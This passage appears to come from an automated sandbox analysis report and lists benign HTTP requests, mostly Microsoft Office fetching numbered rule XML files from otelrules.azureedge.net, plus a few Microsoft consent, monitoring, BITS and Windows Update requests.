Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /mscc/lib/v2/wcp-consent.js HTTP/1.1Host: wcpstatic.microsoft.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.jsll-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=sRYCpvG6wEXzcSk&MD=BEDwWVfM HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
